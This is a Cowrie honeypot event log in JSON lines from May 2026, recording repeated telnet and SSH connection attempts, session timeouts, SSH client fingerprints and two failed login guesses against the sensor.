{"eventid":"cowrie.session.closed","duration":30.752581357955933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:20.397715Z","src_ip":"51.161.172.108","session":"de956dcdffed","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:20.451967Z","src_ip":"113.163.156.190","session":"33940e4c5c52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.839512825012207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:20.489421Z","src_ip":"45.10.154.244","session":"4ac48e46005d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.87524914741516,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:20.789414Z","src_ip":"167.99.38.72","session":"b5ccce36bcc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.886625289916992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:21.105391Z","src_ip":"45.10.154.244","session":"b9df2eebb0aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":55978,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dd975212546","protocol":"telnet","message":"New connection: 45.10.154.244:55978 (10.17.0.5:23) [session: 7dd975212546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:21.132244Z"}
{"eventid":"cowrie.session.closed","duration":30.620619297027588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:21.281970Z","src_ip":"45.10.154.244","session":"4d3bfff3d577","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":57382,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec83f997f2b2","protocol":"telnet","message":"New connection: 45.10.154.244:57382 (10.17.0.5:23) [session: ec83f997f2b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:21.482369Z"}
{"eventid":"cowrie.login.failed","username":"test7","password":"1","message":"login attempt [test7/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:21.497982Z","src_ip":"113.163.156.190","session":"33940e4c5c52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":35894,"dst_ip":"10.17.0.5","dst_port":22,"session":"a76c91bbc979","protocol":"ssh","message":"New connection: 221.139.88.149:35894 (10.17.0.5:22) [session: a76c91bbc979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:21.744538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:21.751074Z","src_ip":"221.139.88.149","session":"a76c91bbc979","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:21.956685Z","src_ip":"221.139.88.149","session":"a76c91bbc979","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":59926,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f8d0f6933b7","protocol":"telnet","message":"New connection: 45.10.154.244:59926 (10.17.0.5:23) [session: 7f8d0f6933b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:22.210349Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":32866,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d0c9d97301d","protocol":"telnet","message":"New connection: 45.10.154.244:32866 (10.17.0.5:23) [session: 0d0c9d97301d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:22.500815Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:22.759157Z","src_ip":"113.163.156.190","session":"33940e4c5c52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwertyuiop","message":"login attempt [admin/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:22.885570Z","src_ip":"221.139.88.149","session":"a76c91bbc979","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.952078104019165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:22.896590Z","src_ip":"45.10.154.244","session":"dddf6e5e57ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83607053756714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:23.070357Z","src_ip":"45.10.154.244","session":"16248cbf7102","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33026,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bc99492ee14","protocol":"telnet","message":"New connection: 51.161.172.108:33026 (159.203.135.109:23) [session: 2bc99492ee14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:23.621276Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"7.0","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:23.848312Z","src_ip":"122.168.114.167","session":"6344a3281b10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"58.2","message":"Connection lost after 58.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:23.856399Z","src_ip":"122.168.114.167","session":"6344a3281b10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":38412,"dst_ip":"10.17.0.5","dst_port":23,"session":"c86b8aebdc28","protocol":"telnet","message":"New connection: 45.10.154.244:38412 (10.17.0.5:23) [session: c86b8aebdc28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:23.908072Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":38598,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3a85d739cb4","protocol":"telnet","message":"New connection: 45.10.154.244:38598 (10.17.0.5:23) [session: e3a85d739cb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:23.948180Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:24.168565Z","src_ip":"221.139.88.149","session":"a76c91bbc979","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.88120746612549,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:24.185953Z","src_ip":"34.69.118.1","session":"0ae24f607b3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":42158,"dst_ip":"10.17.0.5","dst_port":23,"session":"15f6b561ecb7","protocol":"telnet","message":"New connection: 45.10.154.244:42158 (10.17.0.5:23) [session: 15f6b561ecb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:24.873261Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33028,"dst_ip":"159.203.135.109","dst_port":23,"session":"c53919912582","protocol":"telnet","message":"New connection: 51.161.172.108:33028 (159.203.135.109:23) [session: c53919912582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:25.056910Z"}
{"eventid":"cowrie.session.closed","duration":30.293864488601685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:25.063083Z","src_ip":"45.10.154.244","session":"3c535734991a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":43740,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6f0bf14ec03","protocol":"telnet","message":"New connection: 45.10.154.244:43740 (10.17.0.5:23) [session: b6f0bf14ec03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:25.303474Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":46138,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e1a2afbd116","protocol":"telnet","message":"New connection: 167.99.38.72:46138 (159.203.135.109:23) [session: 2e1a2afbd116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:25.817812Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":47064,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fd82a31d10f","protocol":"telnet","message":"New connection: 45.10.154.244:47064 (10.17.0.5:23) [session: 9fd82a31d10f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:26.206362Z"}
{"eventid":"cowrie.session.closed","duration":31.178730487823486,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:26.361244Z","src_ip":"45.10.154.244","session":"b47a26ff2f13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":48036,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d050f3eeda2","protocol":"telnet","message":"New connection: 45.10.154.244:48036 (10.17.0.5:23) [session: 7d050f3eeda2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:26.482608Z"}
{"eventid":"cowrie.session.closed","duration":30.722554683685303,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:27.048850Z","src_ip":"45.10.154.244","session":"35c1e2d811b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.656479597091675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:27.098699Z","src_ip":"45.10.154.244","session":"70d486c0e0db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80001735687256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:27.304594Z","src_ip":"45.10.154.244","session":"58b2f67e10f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33034,"dst_ip":"159.203.135.109","dst_port":23,"session":"d23b6747be43","protocol":"telnet","message":"New connection: 51.161.172.108:33034 (159.203.135.109:23) [session: d23b6747be43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:27.329409Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":52654,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea0bbed7e096","protocol":"telnet","message":"New connection: 45.10.154.244:52654 (10.17.0.5:23) [session: ea0bbed7e096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:27.783904Z"}
{"eventid":"cowrie.session.closed","duration":31.055586576461792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:27.790245Z","src_ip":"51.161.172.108","session":"e55eeea30eb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59616494178772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:28.050264Z","src_ip":"45.10.154.244","session":"fd492f8d714c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06047821044922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:28.061070Z","src_ip":"45.10.154.244","session":"276df02dd4d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.317365169525146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:28.180325Z","src_ip":"45.10.154.244","session":"3d677031b3d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.968743085861206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:28.203050Z","src_ip":"45.10.154.244","session":"863d6a06572f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.701201677322388,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:28.393579Z","src_ip":"51.161.172.108","session":"6e30e9167c1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85509181022644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:28.686378Z","src_ip":"45.10.154.244","session":"7649319fee7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":56314,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1b8100ce398","protocol":"telnet","message":"New connection: 45.10.154.244:56314 (10.17.0.5:23) [session: a1b8100ce398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:28.789151Z"}
{"eventid":"cowrie.session.closed","duration":30.870323419570923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:29.150449Z","src_ip":"45.10.154.244","session":"d6638c000301","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.462103605270386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:29.185761Z","src_ip":"45.10.154.244","session":"d25be1f0acbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":57610,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ea021ed2321","protocol":"telnet","message":"New connection: 45.10.154.244:57610 (10.17.0.5:23) [session: 8ea021ed2321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:29.207471Z"}
{"eventid":"cowrie.session.closed","duration":30.794663906097412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:29.431829Z","src_ip":"51.161.172.108","session":"c5992907024b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37258,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6bb3b147f90","protocol":"telnet","message":"New connection: 51.161.172.108:37258 (159.203.135.109:23) [session: d6bb3b147f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:29.587722Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":59066,"dst_ip":"10.17.0.5","dst_port":23,"session":"f189e53aef4e","protocol":"telnet","message":"New connection: 45.10.154.244:59066 (10.17.0.5:23) [session: f189e53aef4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:29.628837Z"}
{"eventid":"cowrie.session.closed","duration":35.576935052871704,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:31.062342Z","src_ip":"167.99.38.72","session":"ecf123fc71c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.658448934555054,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:31.223880Z","src_ip":"45.10.154.244","session":"1c68107960fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.303019523620605,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:31.538167Z","src_ip":"45.10.154.244","session":"8f961414029f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37260,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bbbc7caf141","protocol":"telnet","message":"New connection: 51.161.172.108:37260 (159.203.135.109:23) [session: 8bbbc7caf141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:31.822703Z"}
{"eventid":"cowrie.session.closed","duration":30.21784543991089,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:32.112329Z","src_ip":"45.10.154.244","session":"8d30fddafdef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":40348,"dst_ip":"10.17.0.5","dst_port":23,"session":"feeb1890996b","protocol":"telnet","message":"New connection: 45.10.154.244:40348 (10.17.0.5:23) [session: feeb1890996b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:32.312440Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37276,"dst_ip":"159.203.135.109","dst_port":23,"session":"25b95d3d8c23","protocol":"telnet","message":"New connection: 51.161.172.108:37276 (159.203.135.109:23) [session: 25b95d3d8c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:32.337454Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":33018,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cc9ac54c07a","protocol":"telnet","message":"New connection: 34.69.118.1:33018 (159.203.135.109:23) [session: 1cc9ac54c07a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:32.522954Z"}
{"eventid":"cowrie.session.closed","duration":30.67508602142334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:33.050578Z","src_ip":"45.10.154.244","session":"ae1a7556ea0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.389622926712036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:34.075772Z","src_ip":"45.10.154.244","session":"345dd784eac9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":46660,"dst_ip":"10.17.0.5","dst_port":23,"session":"f63966f01b9d","protocol":"telnet","message":"New connection: 45.10.154.244:46660 (10.17.0.5:23) [session: f63966f01b9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:34.105924Z"}
{"eventid":"cowrie.session.closed","duration":31.48106551170349,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:34.540000Z","src_ip":"45.10.154.244","session":"daa4d626d6b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74877166748047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:35.051714Z","src_ip":"45.10.154.244","session":"3ec6bf586949","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.2357759475708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:35.158066Z","src_ip":"45.10.154.244","session":"d6e665f26f58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18662190437317,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:35.215817Z","src_ip":"45.10.154.244","session":"469ff1648ef2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.351413011550903,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:35.404577Z","src_ip":"51.161.172.108","session":"54afd214248d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":51478,"dst_ip":"10.17.0.5","dst_port":23,"session":"779eba2b47cb","protocol":"telnet","message":"New connection: 45.10.154.244:51478 (10.17.0.5:23) [session: 779eba2b47cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:35.414111Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":51638,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ed87456c0e0","protocol":"telnet","message":"New connection: 45.10.154.244:51638 (10.17.0.5:23) [session: 2ed87456c0e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:35.453956Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":52184,"dst_ip":"10.17.0.5","dst_port":23,"session":"100b8ee471e1","protocol":"telnet","message":"New connection: 45.10.154.244:52184 (10.17.0.5:23) [session: 100b8ee471e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:35.567960Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":53634,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3c0cfc446fc","protocol":"telnet","message":"New connection: 45.10.154.244:53634 (10.17.0.5:23) [session: b3c0cfc446fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:35.947166Z"}
